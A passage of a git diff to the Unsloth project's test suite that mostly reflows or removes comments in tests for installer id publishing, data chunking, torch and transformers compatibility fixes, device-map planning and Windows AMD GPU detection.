test_install_sh_id_publish_replaces_a_blank_incumbent(tmp_path):id_file.write_text("", encoding = "utf-8")fresh = "c" * 64+ # Replicate the publish step with the guard removed, so only the publication primitive decides the outcome:publish = (_install_id_helpers() + f'_css_id_file="{id_file}"\n'f'_css_new_id="{fresh}"\n'@@ -1142,9 +1138,7 @@ def test_install_ps1_publishes_the_id_without_clobbering():assert ("[System.IO.File]::Move($_idTmp, $_studioIdFile)" in block), "install.ps1 must use the two-arg File.Move, which throws when the destination exists"- # -Force may only appear AFTER the no-clobber attempt, as the branch that- # replaces a blank incumbent. As the primary publish it would clobber an id- # the desktop app may already have handed to a running backend.+ # -Force may only appear AFTER the no-clobber attempt, as the branch that replaces a blank incumbent._force = "Move-Item -LiteralPath $_idTmp -Destination $_studioIdFile -Force"assert block.index("[System.IO.File]::Move($_idTmp, $_studioIdFile)") < block.index(_force@@ -1280,14 +1274,11 @@ def test_main_py_read_studio_install_id_validates_hex_and_handles_missing(tmp_paroot = tmp_path / "studio"(root / "share").mkdir(parents = True)- # Missing file -> emptyassert _read(root) == ""id_file = root / "share" / "studio_install_id"- # Empty file -> emptyid_file.write_text("")assert _read(root) == ""- # Non-hex content -> emptyid_file.write_text("not-a-hex-id-just-text-padded-to-64-chars-zzzzzzzzzzzzzzzzzzzzzz")assert _read(root) == ""# Uppercase hex -> empty (must be lowercase)@@ -1375,8 +1366,8 @@ def test_install_sh_root_id_pass_does_not_mutate_user_data_dir(tmp_path):heredoc_body_end = src.index("LAUNCHER_EOF\n", heredoc_start)template = src[heredoc_body_start:heredoc_body_end]launcher_path = tmp_path / "launch.sh"- # template comes out of install.sh, so it carries whatever non-ASCII that- # file holds and cp1252 cannot encode it back out.+ # template comes out of install.sh, so it carries whatever non-ASCII that file holds and cp1252 cannot encode it+ # back out.launcher_path.write_text(template, encoding = "utf-8")# sed order: root-id first, then data-dir.weird_data_dir = "/tmp/with-@@STUDIO_ROOT_ID@@/share"@@ -1729,9 +1720,8 @@ def test_dir_has_entries_still_answers_no_for_a_searchable_empty_dir(tmp_path):empty.chmod(0o700)-# Measured against uv 0.12.1, the version install.sh pins: uv creates only into a-# path that is absent or an empty directory, every other shape is EEXIST. The-# predicate has to agree, or the repair loop continues for the shapes it misses.+# Measured against uv 0.12.1, the version install.sh pins: uv creates only into a path that is absent or an empty+# directory, every other shape is EEXIST._UV_REFUSES = [("occupied real dir", "fulldir", True),("regular file", "plainfile", True),diff --git a/tests/test_studio_root_resilience.py b/tests/test_studio_root_resilience.pyindex 66195d11fec..5d782fd8d8f 100644--- a/tests/test_studio_root_resilience.py+++ b/tests/test_studio_root_resilience.py@@ -154,5 +154,4 @@ def test_search_roots_default_mode_uses_legacy_only(tmp_path):legacy = home / ".unsloth" / "studio"legacy.mkdir(parents = True)roots = _exec_search_roots_block(home = home, studio_root_value = legacy, resolve_raises = False)- # Default mode: only legacy_llama.assert roots == [home / ".unsloth" / "llama.cpp"]diff --git a/tests/test_synthetic_chunk_data.py b/tests/test_synthetic_chunk_data.pyindex 17e5228e321..da90736cb7f 100644--- a/tests/test_synthetic_chunk_data.py+++ b/tests/test_synthetic_chunk_data.py@@ -56,8 +56,8 @@ def _chunk(text, kit = None):def test_chunk_data_keeps_single_chunk_document():- # A short document fits in one chunk (n_chunks == 1) and must still produce- # one output file rather than silently vanishing.+ # A short document fits in one chunk (n_chunks == 1) and must still produce one output file rather than silently+ # vanishing.out, contents = _chunk("word " * 50)assert len(out) == 1, f"single-chunk doc should yield 1 file, got {len(out)}"assert contents[0] != "", "the chunk file must contain the document text"@@ -76,9 +76,6 @@ def test_chunk_data_empty_document_yields_no_chunks():def test_chunk_data_short_document_is_not_split_into_fragments():- # A document shorter than the overlap previously reached the multi-chunk path- # (n_chunks >= 3) where linspace produced negative start indices, slicing the- # wrong tail tokens. It must be emitted as one chunk covering the whole document.kit = _make_kit(max_seq_length = 2048, max_generation_tokens = 920, overlap = 64) # max_tokens = 80out, contents = _chunk("word " * 50, kit = kit) # 50 tokens < overlap (would be 4 chunks)assert len(out) == 1, f"sub-overlap doc should yield 1 chunk, got {len(out)}"@@ -88,8 +85,6 @@ def test_chunk_data_short_document_is_not_split_into_fragments():def test_chunk_data_rejects_overlap_not_smaller_than_chunk():- # If overlap >= chunk size the stride is non-positive, which would divide by zero- # or emit one oversized chunk. The config must be rejected with a clear error.kit = _make_kit(max_seq_length = 2048, max_generation_tokens = 950, overlap = 64) # max_tokens = 20with tempfile.NamedTemporaryFile("w", suffix = ".txt", delete = False) as f:f.write("word " * 50)@@ -106,10 +101,8 @@ def test_chunk_data_rejects_overlap_not_smaller_than_chunk():def test_chunk_data_uninitialized_error_names_real_class():# Without max_seq_length the guard tells the user which method to call first.- # The message must name the real class (SyntheticDataKit) so copying it works;- # a misspelling would raise NameError when the user follows it verbatim.kit = SyntheticDataKit.__new__(SyntheticDataKit)- kit.tokenizer = _MockTokenizer() # max_seq_length intentionally unset+ kit.tokenizer = _MockTokenizer()with tempfile.NamedTemporaryFile("w", suffix = ".txt", delete = False) as f:f.write("word " * 50)path = f.name@@ -130,10 +123,8 @@ def test_chunk_data_uninitialized_error_names_real_class():def test_chunk_data_chunks_do_not_exceed_max_tokens():- # Every chunk must fit within max_tokens. The old multi-chunk path emitted one- # fewer, oversized chunk, and a doc just over the threshold came back unsplit.kit = _make_kit(max_seq_length = 2048, max_generation_tokens = 760, overlap = 64)- max_tokens = 2048 - 760 * 2 - 128 # 400+ max_tokens = 2048 - 760 * 2 - 128for n_words in (500, 2000):out, contents = _chunk("word " * n_words, kit = kit)@@ -148,11 +139,11 @@ def test_chunk_data_chunks_do_not_exceed_max_tokens():def test_chunk_data_does_not_over_split():- # n_chunks must be the minimum count: ceil((length - overlap) / stride), not- # ceil(length / stride) which over-splits just past a stride multiple. At 673- # tokens (max_tokens=400, overlap=64) the tight count gives 2 chunks (~369+368).+ # n_chunks must be the minimum count: ceil((length - overlap) / stride), not ceil(length / stride) which over-splits+ # just past a stride multiple.+ # At 673 tokens (max_tokens=400, overlap=64) the tight count gives 2 chunks (~369+368).kit = _make_kit(max_seq_length = 2048, max_generation_tokens = 760, overlap = 64)- max_tokens = 2048 - 760 * 2 - 128 # 400+ max_tokens = 2048 - 760 * 2 - 128out, contents = _chunk("word " * 673, kit = kit)assert len(out) == 2, f"673-token doc should yield the minimal 2 chunks, got {len(out)}"for content in contents:diff --git a/tests/test_synthetic_vllm_startup_failure.py b/tests/test_synthetic_vllm_startup_failure.pyindex b29dd991d0e..3ada20515ef 100644--- a/tests/test_synthetic_vllm_startup_failure.py+++ b/tests/test_synthetic_vllm_startup_failure.py@@ -89,8 +89,8 @@ class _FakeProcess:return self._returncode-# Every kit built here, kept alive past the end of the test that made it so the-# fixture below, and not the dying test frame, decides when it is collected.+# Every kit built here, kept alive past the end of the test that made it so the fixture below, and not the dying test+# frame, decides when it is collected._LIVE_KITS = []@@ -299,12 +299,13 @@ def test_the_failure_path_is_not_a_bare_return_any_more():assert not re.search(r"terminate_tree\(self\.vllm_process\)\s*\n\s*return", source)+# Both waits bound work by ELAPSED time.++# --- the timeout is a deadline, not a number of laps ----------------------# Both waits bound work by ELAPSED time. Attempt counts and flat poll intervals# only agree with that when each attempt is instant, which is exactly what the# failing cases below are not.--class _RecordingCapture(_FakeCapture):"""Remembers every timeout it was asked to wait for."""diff --git a/tests/test_torchao_aten_grouped_mm.py b/tests/test_torchao_aten_grouped_mm.pyindex 31a2894eaa6..223911b4b5a 100644--- a/tests/test_torchao_aten_grouped_mm.py+++ b/tests/test_torchao_aten_grouped_mm.py@@ -75,9 +75,6 @@ def test_a_non_attribute_error_means_do_not_touch_it(monkeypatch):assert IF._torch_op_is_missing("aten", "_grouped_mm") is False-# ---- the fix, on a torch that does not need it ----------------------------@pytest.mark.skipif(not hasattr(torch.ops.aten, "_grouped_mm"),reason = "this torch is missing the op; see the live test",diff --git a/tests/test_torchao_nf4tensor_move.py b/tests/test_torchao_nf4tensor_move.pyindex 80b26998c62..43d9baad182 100644--- a/tests/test_torchao_nf4tensor_move.py+++ b/tests/test_torchao_nf4tensor_move.py@@ -213,8 +213,8 @@ def test_it_is_wired_into_the_init_sequence():def test_the_real_environment_is_left_alone():"""On a torchao that still ships the old path the fix must be a no-oprather than redirecting a working import."""- # In a child: once anything in this session has imported unsloth the alias- # is registered, so an in-process check would read the new layout as old.+ # In a child: once anything in this session has imported unsloth the alias is registered, so an in-process check+ # would read the new layout as old.p = subprocess.run([sys.executable,diff --git a/tests/test_torchao_subprocess_fix.py b/tests/test_torchao_subprocess_fix.pyindex aa41c9a2a0d..23f4c5a21c5 100644--- a/tests/test_torchao_subprocess_fix.py+++ b/tests/test_torchao_subprocess_fix.py@@ -514,9 +514,8 @@ def test_the_in_process_fix_does_not_disable_the_subprocess_fix(monkeypatch, tmpif all(IF._torch_really_has(F, n) for n in IF._TORCHAO_TORCH_SYMBOLS):pytest.skip("this torch provides every symbol; nothing to place")- # conftest.py imports unsloth, so on an affected environment the- # placeholders are already installed and the call below would return False.- # _gpu_init sees a fresh interpreter; reproduce that.+ # conftest.py imports unsloth, so on an affected environment the placeholders are already installed and the call+ # below would return False. _gpu_init sees a fresh interpreter; reproduce that.for name in IF._TORCHAO_TORCH_SYMBOLS:if getattr(getattr(F, name, None), "__unsloth_placeholder__", False):delattr(F, name)@@ -769,7 +768,6 @@ def test_a_broken_chained_module_does_not_keep_our_name(staged, tmp_path):# ---- a second spelling of our own directory on sys.path --------------------_COUNT_HOOKS = ("import sys;""print('HOOKS', sum(1 for h in sys.meta_path"diff --git a/tests/test_torchao_torch_symbol_skew.py b/tests/test_torchao_torch_symbol_skew.pyindex 23c766bbb6d..82d540b8f34 100644--- a/tests/test_torchao_torch_symbol_skew.py+++ b/tests/test_torchao_torch_symbol_skew.py@@ -192,16 +192,14 @@ def test_the_real_torchao_018_import_line_is_unblocked(monkeypatch):import torch.nn.functional as Fimport unsloth.import_fixes as IF- # conftest.py imports unsloth, so on an affected environment the- # placeholders are already on F. Drop them, or the "before" half cannot- # raise, this test skips itself, and the guard test after it fails.+ # conftest.py imports unsloth, so on an affected environment the placeholders are already on F. Drop them, or+ # the "before" half cannot raise, this test skips itself, and the guard test after it fails.for n in _TORCHAO_TORCH_SYMBOLS:if getattr(getattr(F, n, None), "__unsloth_placeholder__", False):delattr(F, n)- # Gate on the two symbols the line below imports: `any` over the whole- # tuple is always true (scaled_dot_product_attention always exists), which- # made this test skip on every machine.+ # Gate on the two symbols the line below imports: `any` over the whole tuple is always true+ # (scaled_dot_product_attention always exists), which made this test skip on every machine.if all(hasattr(F, n) for n in ("ScalingType", "SwizzleType")):pytest.skip("this torch already provides ScalingType/SwizzleType")diff --git a/tests/test_torchaudio_cuda_mismatch.py b/tests/test_torchaudio_cuda_mismatch.pyindex 0c12420f9c2..c3db4c36ab4 100644--- a/tests/test_torchaudio_cuda_mismatch.py+++ b/tests/test_torchaudio_cuda_mismatch.py@@ -31,10 +31,9 @@ import sysimport pytest-# The repair flips availability state on the REAL transformers and datasets-# modules, not on copies. Restoring only sys.modules would leave-# `is_torchaudio_available` bound to `lambda: False` for every later test in-# the process, so the fixture snapshots these too.+# The repair flips availability state on the REAL transformers and datasets modules, not on copies.+# Restoring only sys.modules would leave `is_torchaudio_available` bound to `lambda: False` for every later test in the+# process, so the fixture snapshots these too._PATCH_SITES = (("transformers.utils.import_utils", "_torchaudio_available"),("transformers.utils.import_utils", "is_torchaudio_available"),@@ -195,8 +194,8 @@ def test_the_check_itself_is_never_patched_out():func = import_fixes.disable_torchaudio_if_cuda_mismatchedtree = ast.parse(textwrap.dedent(inspect.getsource(func)))- # The docstring names it, deliberately, to say why it is NOT touched, so- # strip it by AST rather than by string surgery. Only the body is a claim.+ # The docstring names it, deliberately, to say why it is NOT touched, so strip it by AST rather than by string+ # surgery. Only the body is a claim.body = tree.body[0].bodyif body and isinstance(body[0], ast.Expr) and isinstance(body[0].value, ast.Constant):body = body[1:]diff --git a/tests/test_transformers5_bare_annotation_live.py b/tests/test_transformers5_bare_annotation_live.pyindex 057949d84dc..cd4d2992e8d 100644--- a/tests/test_transformers5_bare_annotation_live.py+++ b/tests/test_transformers5_bare_annotation_live.py@@ -76,10 +76,8 @@ def test_the_failure_is_real_without_the_fix(unpatched):f"transformers {transformers.__version__} passes kw_only=True "f"(5.5.1+), so the ordering rule this fix works around is gone")- # The ordering rule only exists between 5.4.0 and 5.5.0: 5.0.0 to 5.3.x are- # 5.x but do not dataclass-ify configs at all (no `__init_subclass__`), so- # nothing raises there and the premise below does not apply. Ask the- # unpatched class rather than the version, which was the point of the probe.+ # The ordering rule only exists between 5.4.0 and 5.5.0: 5.0.0 to 5.3.x are 5.x but do not dataclass-ify configs at+ # all (no `__init_subclass__`), so nothing raises there and the premise below does not apply.if not _transformers_needs_bare_annotation_fix():pytest.skip(f"transformers {transformers.__version__} does not apply the "diff --git a/tests/test_transformers_dependency_floor.py b/tests/test_transformers_dependency_floor.pyindex 13377200c4e..2f8f6f1b258 100644--- a/tests/test_transformers_dependency_floor.py+++ b/tests/test_transformers_dependency_floor.py@@ -24,8 +24,6 @@ from unsloth import import_fixes as IF# Base (no-extras) requirements as declared by two real transformers releases.-# The names and floors differ between them, which is why the check reads them-# from metadata instead of carrying a table that would rot.REQUIRES_4_57_6 = ["filelock","huggingface-hub<1.0,>=0.34.0",@@ -94,9 +92,6 @@ def _run_check(caplog):return _warnings(caplog)-# ---------------------------------------------------------------- satisfied--@pytest.mark.parametrize("requires, installed",[@@ -154,7 +149,7 @@ def test_violated_floor_is_reported_and_names_the_dependency(monkeypatch, caplog"regex": "2025.11.3","tokenizers": "0.22.2","typer": "0.15.1",- "safetensors": "0.7.0", # the violation+ "safetensors": "0.7.0","tqdm": "4.67.3",}_install_env(monkeypatch, REQUIRES_5_14_1, installed)@@ -310,9 +305,6 @@ def test_unreadable_metadata_is_still_silent(monkeypatch, caplog):assert _run_check(caplog) == []-# --------------------------------------------------------- defensive silence--@pytest.mark.parametrize("requires, installed",[@@ -379,7 +371,7 @@ def test_runs_against_the_real_environment_without_raising(caplog):assert isinstance(result, list)for entry in result:assert len(entry) == 3- IF.check_transformers_dependency_versions() # must not raise+ IF.check_transformers_dependency_versions()def test_check_is_registered_in_gpu_init():@@ -399,7 +391,7 @@ def test_check_warns_rather_than_raises_on_a_violation(monkeypatch, caplog):["safetensors>=0.8.0"],{"transformers": "5.15.0.dev0", "safetensors": "0.7.0"},)- IF.check_transformers_dependency_versions() # no exception+ IF.check_transformers_dependency_versions() # must not raiseassert len(_run_check(caplog)) == 1diff --git a/tests/test_uma_safetensors_load.py b/tests/test_uma_safetensors_load.pyindex c6d304ab4f7..6507e529fe2 100644--- a/tests/test_uma_safetensors_load.py+++ b/tests/test_uma_safetensors_load.py@@ -71,9 +71,6 @@ def _install_fake_modeling_utils(monkeypatch, safe_open_fn):return fake_mu-# --- detection / gate -----def test_force_uma_on(uma, monkeypatch):monkeypatch.setenv("UNSLOTH_FORCE_UMA", "1")uma.is_integrated_unified_memory_gpu.cache_clear()@@ -107,9 +104,6 @@ def test_is_cuda_target_torch_device(uma):assert uma._is_cuda_target(torch.device("cpu")) is False-# --- patch gating -----def test_wrapper_passes_through_off_uma(uma, force_uma, monkeypatch):"""Gate OFF: every call -- including CUDA targets -- passes straight throughto the real safe_open (the gate is evaluated lazily inside the wrapper)."""@@ -162,9 +156,6 @@ def test_patch_installs_and_is_idempotent(uma, force_uma, monkeypatch):assert fake_mu.safe_open is wrapped-# --- correctness -----def test_cpu_target_is_passthrough(uma, force_uma, monkeypatch, tiny_safetensors):path, tensors = tiny_safetensorsforce_uma(True)@@ -207,8 +198,8 @@ def test_low_memory_falls_back_to_direct_move(uma, force_uma, monkeypatch, tiny_force_uma(True)fake_mu = _install_fake_modeling_utils(monkeypatch, safetensors.safe_open)uma.patch_unified_memory_safetensors_load()- # Clone OOMs (transient CPU doubling on a constrained UMA box): the wrapper- # must fall back to the direct move and still succeed.+ # Clone OOMs (transient CPU doubling on a constrained UMA box): the wrapper must fall back to+ # the direct move and still succeed.real_clone = torch.Tensor.clonedef _oom_clone(self, *a, **k):diff --git a/tests/test_unsloth_device_map_optin.py b/tests/test_unsloth_device_map_optin.pyindex d75b5a6a838..a51d8f42616 100644--- a/tests/test_unsloth_device_map_optin.py+++ b/tests/test_unsloth_device_map_optin.py@@ -80,8 +80,8 @@ def _load():exec(ast.get_source_segment(_SRC, node), ns)- # planner_quantization_kwargs reads the shared skip list; stub it so the test never- # imports the real unsloth_zoo (and so the assertions do not track its contents).+ # planner_quantization_kwargs reads the shared skip list;+ # stub it so the test never imports the real unsloth_zoo (and so the assertions do not track its contents).peft_utils = types.ModuleType("unsloth_zoo.peft_utils")peft_utils.SKIP_QUANTIZATION_MODULES = list(_SKIP_MODULES)sys.modules["unsloth_zoo.peft_utils"] = peft_utils@@ -101,9 +101,6 @@ class _Plan:return " (fabricated plan)"-# ------------------------------------------------- what an existing caller still gets--@pytest.mark.parametrize("device_map",[@@ -381,9 +378,6 @@ def test_an_infeasible_plan_is_raised_not_swallowed():ns["resolve_unsloth_device_map"]("unsloth", "m")-# ------------------------------------------------- the second name, whose decline shards--@pytest.mark.parametrize("kwargs,devices,planner",[diff --git a/tests/test_unsloth_device_map_platform_matrix.py b/tests/test_unsloth_device_map_platform_matrix.pyindex f36a0f10b65..9d13ccc6d1a 100644--- a/tests/test_unsloth_device_map_platform_matrix.py+++ b/tests/test_unsloth_device_map_platform_matrix.py@@ -55,8 +55,8 @@ ACCELERATORS = [DEVICE_COUNTS = [0, 1, 2, 8]-# Everything a caller can hand the loader today. None is included because-# `FastDiffusionModel.from_pretrained` lets the caller clear it.+# Everything a caller can hand the loader today.+# None is included because `FastDiffusionModel.from_pretrained` lets the caller clear it.UNTOUCHED_DEVICE_MAPS = ["sequential","auto",@@ -303,8 +303,9 @@ def test_an_old_unsloth_zoo_without_a_planner_still_loads(host, monkeypatch):)assert ns["resolve_unsloth_device_map"]("unsloth", "unsloth/Qwen3-0.6B") == "sequential"- # Shape two: no such module. Block the import rather than deleting it from sys.modules,- # which on a machine that has the real planner installed just imports it again.+ # Shape two: no such module.+ # Block the import rather than deleting it from sys.modules, which on a machine that has the real planner installed+ # just imports it again.class _Blocked:def find_module(self,diff --git a/tests/test_unsloth_device_map_review_fixes.py b/tests/test_unsloth_device_map_review_fixes.pyindex 908149ce36a..5e0c9cc667a 100644--- a/tests/test_unsloth_device_map_review_fixes.py+++ b/tests/test_unsloth_device_map_review_fixes.py@@ -180,8 +180,6 @@ def test_sentence_transformers_hands_the_nested_load_a_plain_value():# ---------------------------------------------------------------------------------------# 2. max_memory arrived twice.-# --------------------------------------------------------------------------------------def test_a_caller_supplied_max_memory_does_not_collide_with_the_measured_one():diff --git a/tests/test_version_single_source.py b/tests/test_version_single_source.pyindex d7c6cc71fe7..829d565e280 100644--- a/tests/test_version_single_source.py+++ b/tests/test_version_single_source.py@@ -82,8 +82,7 @@ def test_importing_the_version_alone_pulls_in_no_heavy_dependency():def test_models_utils_still_re_exports_the_same_version():- # Every banner, every saved config's unsloth_version, and unsloth.__version__ on the- # GPU path come through here.+ # Every banner, every saved config's unsloth_version, and unsloth.__version__ on the GPU path come through here.from unsloth.models._utils import __version__ as via_utilsassert via_utils == _load_version_module_standalone().__version__@@ -134,10 +133,7 @@ def _Path_read(p):def test_studio_version_fallback_reports_the_real_version_on_a_source_checkout():- # get_unsloth_version falls back to scanning the source when distribution metadata is- # missing. The scan matches a `__version__ = ` line prefix, so a file that only- # re-exports the name yields nothing and Unsloth silently reports "dev". Driving the- # real function against the real tree catches that whatever the scan is pointed at.+ # get_unsloth_version falls back to scanning the source when distribution metadata is missing.reported = _get_unsloth_version_with_metadata_missing(_REPO_ROOT / "studio" / "backend" / "main.py")@@ -188,8 +184,8 @@ def test_the_studio_fallback_survives_a_half_updated_tree(tmp_path):def test_the_mlx_branch_no_longer_borrows_the_zoo_version():- # unsloth#8171: the MLX path reported unsloth_zoo's number, which is a different- # package pinned with >=, so it was neither the installed core nor the latest zoo.+ # unsloth#8171: the MLX path reported unsloth_zoo's number, which is a different package pinned with >=, so it+ # was neither the installed core nor the latest zoo.init_py = (_REPO_ROOT / "unsloth" / "__init__.py").read_text(encoding = "utf-8")assert "__version__ = unsloth_zoo.__version__" not in init_pyassert "from ._version import __version__" in init_pydiff --git a/tests/test_video_path_validation.py b/tests/test_video_path_validation.pyindex ab5d088adfa..1e3e360cf56 100644--- a/tests/test_video_path_validation.py+++ b/tests/test_video_path_validation.py@@ -209,7 +209,7 @@ def test_collator_validates_every_batch(make_auto_validating_collator):tmp = f.nametry:collator = make_auto_validating_collator()- collator(_batch(tmp)) # batch 0: valid+ collator(_batch(tmp))with pytest.raises(FileNotFoundError):collator(_batch("/nonexistent/late.mp4"))finally:@@ -370,7 +370,6 @@ def test_windows_style_absolute_path_not_mistaken_for_scheme(target.write_bytes(b"x")path = str(target)if os.name != "nt":- # '://'-free values must round-trip unchanged; keep the real pathpath = str(target)ds = [{"messages": [{"role": "user", "content": [{"type": "video", "video": path}]}]}]assert check_dataset_for_missing_videos(ds) == []@@ -478,8 +477,6 @@ def test_duplicate_missing_deduped_in_warn_mode(check_dataset_for_missing_videos# ── Tests: real unsloth_zoo collator integration ─────────────────────────────# Exercise the real trainer.py subclass against the real zoo base (the fakes# above don't cover super()/formatting_func); skip when unsloth can't import.--@pytest.fixture(scope = "session")def real_collator_classes():try:@@ -489,8 +486,8 @@ def real_collator_classes():)except Exception as exc: # noqa: BLE001 - skip on any import failurepytest.skip(f"full unsloth import unavailable: {exc!r}")- # On Apple Silicon MLX, unsloth.trainer is a shim and this name is a- # placeholder whose __call__ raises, not the zoo subclass under test.+ # On Apple Silicon MLX, unsloth.trainer is a shim and this name is a placeholder whose __call__ raises, not the zoo+ # subclass under test.if not issubclass(UnslothVisionDataCollator, ZooBase):pytest.skip("MLX placeholder collator, not the torch subclass")return UnslothVisionDataCollator, ZooBase@@ -600,8 +597,8 @@ def test_vision_collator_thread_safety(real_collator_classes, monkeypatch):entered.append(True)park = Trueif park:- # Hold the window open: unsynchronised code lets every follower- # read the temporary None and skip formatting entirely.+ # Hold the window open: unsynchronised code lets every follower read the temporary None and skip formatting+ # entirely.leader_parked.set()release_leader.wait(10)return examples@@ -609,8 +606,7 @@ def test_vision_collator_thread_safety(real_collator_classes, monkeypatch):monkeypatch.setattr(zoo_base, "__call__", fake_base)collator = _make_real_collator(real_collator_classes, formatting_func = formatter)- # Fresh examples per thread, so an in-place formatter races on collator- # state rather than on shared user data.+ # Fresh examples per thread, so an in-place formatter races on collator state rather than on shared user data.def work(thread_id):return collator([{"tag": (thread_id, i)} for i in range(num_examples)])diff --git a/tests/test_vllm_broken_detection.py b/tests/test_vllm_broken_detection.pyindex ee89ddbedfc..96e0f8b77e0 100644--- a/tests/test_vllm_broken_detection.py+++ b/tests/test_vllm_broken_detection.py@@ -134,8 +134,8 @@ def test_disable_broken_vllm_detects_lazy_loaded_broken_extension(broken_ext):ids = ["libnccl", "libcuda"],)def test_disable_broken_vllm_detects_non_cudart_so_failure(error):- # A CUDA mismatch can surface through a non-libcudart .so (libnccl, libcuda),- # which the old libcudart/libcublas/libnvrtc allow-list let slip through.+ # A CUDA mismatch can surface through a non-libcudart .so (libnccl, libcuda), which the old+ # libcudart/libcublas/libnvrtc allow-list let slip through.with _fake_vllm(present = {"vllm._C"}, broken = {"vllm._C"}, error = error) as import_fixes:detected = import_fixes.disable_broken_vllm()diff --git a/tests/test_vllm_cuda_mismatch_wheel_url.py b/tests/test_vllm_cuda_mismatch_wheel_url.pyindex 89de0734aa1..ac8c4091f8e 100644--- a/tests/test_vllm_cuda_mismatch_wheel_url.py+++ b/tests/test_vllm_cuda_mismatch_wheel_url.py@@ -38,7 +38,6 @@ from unsloth.import_fixes import (# Real CUDA wheel assets per release (the ``+cpu`` and macOS assets are dropped).-# Ground truth: the GitHub releases API, not Unsloth's own table._RELEASE_ASSETS = {"0.11.0": ("vllm-0.11.0+cu129-cp38-abi3-manylinux1_x86_64.whl",@@ -136,9 +135,9 @@ _RELEASE_ASSETS = {),}-# Which CUDA major each snapshot asset is built for. The "+cuXXX" local tag names it-# outright; the unsuffixed default wheel is CUDA 13 from 0.20.0 on ("CUDA 13.0 default"-# in the v0.20.0 release notes) and CUDA 12 before that.+# Which CUDA major each snapshot asset is built for.+# the unsuffixed default wheel is CUDA 13 from 0.20.0 on ("CUDA 13.0 default" in the v0.20.0 release notes) and CUDA 12+# before that._LOCAL_TAG_RE = re.compile(r"^vllm-[0-9.]+\+cu(\d\d)\d")_ARCHES = ("x86_64", "aarch64")diff --git a/tests/test_warnings_issued_guard.py b/tests/test_warnings_issued_guard.pyindex 9439eddb4cb..ea0608f181b 100644--- a/tests/test_warnings_issued_guard.py+++ b/tests/test_warnings_issued_guard.py@@ -365,11 +365,8 @@ if __name__ == "__main__":# ---- the kwargs the wrapper exists to move -------------------------------#-# A real trl config, not a stand-in: `new_init` branches on-# isinstance(TrainingArguments), so a plain dataclass takes the other branch and-# the tests would pass against the bug.--+# A real trl config, not a stand-in: `new_init` branches on isinstance(TrainingArguments), so a plain dataclass takes+# the other branch and the tests would pass against the bug.def _sft_config():pytest.importorskip("trl")# Not `trl.SFTConfig`: on Apple Silicon `import unsloth` rebinds that name todiff --git a/tests/test_windows_amd_gpu_scan_fallback.py b/tests/test_windows_amd_gpu_scan_fallback.pyindex c3a08f3fd95..4709a8a1d3f 100644--- a/tests/test_windows_amd_gpu_scan_fallback.py+++ b/tests/test_windows_amd_gpu_scan_fallback.py@@ -69,11 +69,7 @@ def _setup_source() -> str:return SETUP_PS1.read_text(encoding = "utf-8")-# The two fixes, as (fixed, unfixed) pairs. Undoing them textually is what the red/green check-# below runs against, rather than an older commit: a revision that is "before the fix" is only-# before it until this merges, and reaching for it through git also fails in a shallow CI clone.-# Reverting the wraps in memory keeps the comparison immutable and isolates the one thing under-# test, since everything else about the two sources is identical by construction.+# The two fixes, as (fixed, unfixed) pairs._ARRAY_WRAPS = (("$wmiGpus = @(if ($healthyGpus.Count -gt 0) { $healthyGpus } else { $amdGpus })",@@ -168,8 +164,8 @@ def _driver("$wmiGpus = $null",_prelude(src),_amd_scan_block(src),- # Captured from inside the arch block's own scope: $gpuNames is the value the indexing- # bug corrupts, and its first element is what Get-GfxArchFromGpuName is actually handed.+ # Captured from inside the arch block's own scope: $gpuNames is the value the indexing bug corrupts, and+ # its first element is what Get-GfxArchFromGpuName is actually handed._arch_resolution_block(src).replace("$nameIdx = Resolve-VisibleGpuIndex $gpuNames.Count","$script:GpuNamesProbe = $gpuNames\n $nameIdx = Resolve-VisibleGpuIndex $gpuNames.Count",@@ -201,8 +197,8 @@ def _run(script.write_text(_driver(source or _setup_source(), adapters, ps51 = ps51, strict = strict), encoding = "utf-8")- # Only what each case names may reach the child: a developer's own exported- # UNSLOTH_ROCM_GFX_ARCH would otherwise silently win every inference assertion here.+ # Only what each case names may reach the child: a developer's own exported UNSLOTH_ROCM_GFX_ARCH would otherwise+ # silently win every inference assertion here.child_env = {"PATH": "/usr/bin:/bin", "HOME": str(tmp_path)}child_env.update(env or {})proc = subprocess.run(@@ -268,9 +264,6 @@ def test_setup_consumes_the_handoff_only_after_its_own_inference():assert block.index("gfx arch inferred from GPU name") < block.index(f"$env:{HANDOFF}")-# ── runtime: the adapter scan ─────────────────────────────────────────────────────────────────--@requires_pwsh@pytest.mark.parametrize("ps51", [False, True], ids = ["pwsh", "ps51"])@pytest.mark.parametrize("strict", [False, True], ids = ["lax", "strict"])@@ -278,8 +271,8 @@ def test_single_amd_adapter_is_reported(tmp_path, ps51, strict):out = _run(tmp_path, [(_RADEON, 0)], ps51 = ps51, strict = strict)assert out["wmi_array"], f"one adapter must stay an array, got {out['wmi_type']}"assert out["labels"] == [_RADEON]- # A label alone still lands on the "AMD ROCm" branch with no arch and installs cpu torch, so- # "reported" has to mean the name reached the inference.+ # A label alone still lands on the "AMD ROCm" branch with no arch and installs cpu torch, so "reported" has to mean+ # the name reached the inference.assert out["arch"] == "gfx1151"assert out["label"] == "AMD ROCm (gfx1151)"@@ -313,9 +306,6 @@ def test_a_host_with_no_amd_adapter_is_not_read_as_amd(tmp_path, adapters):assert out["arch"] is None-# ── runtime: name inference, where the second unwrapped if bites ──────────────────────────────--@requires_pwshdef test_the_adapter_name_reaches_inference_whole(tmp_path):"""Unwrapped, $gpuNames is a String and $gpuNames[0] is the character "A"."""@@ -370,9 +360,6 @@ def test_a_pinned_mask_is_honoured_over_the_shadowing_preference(tmp_path):assert out["arch"] == "gfx1103", "an explicit selection must never be repicked"-# ── runtime: handoff precedence ───────────────────────────────────────────────────────────────--@requires_pwshdef test_the_handoff_fills_the_gap_when_nothing_else_resolves(tmp_path):"""The case the handoff exists for: setup's own scan came up empty where the installer's did@@ -468,8 +455,8 @@ def _run_installer_scan(tmp_path: Path, adapters: list[tuple[str, int]]) -> dict"\n".join(["$ErrorActionPreference = 'Stop'",- # Both names: the routing scan asks WMI (unchanged by #8529), the- # report-only peer scan asks CIM. Same answer either way here.+ # Both names:+ # Both names: the routing scan asks WMI (unchanged by #8529), the report-only peer scan asks CIM.f"function Get-CimInstance {{ param([Parameter(ValueFromRemainingArguments = $true)]$Rest) @({items}) }}",f"function Get-WmiObject {{ param([Parameter(ValueFromRemainingArguments = $true)]$Rest) @({items}) }}","function substep { param($a, $b) }",@@ -621,9 +608,6 @@ def test_only_this_runs_arch_is_handed_to_the_child(tmp_path, arch, inherited, eassert out["seen_by_child"] == expected-# ── the guard on the guards ───────────────────────────────────────────────────────────────────--@requires_pwshdef 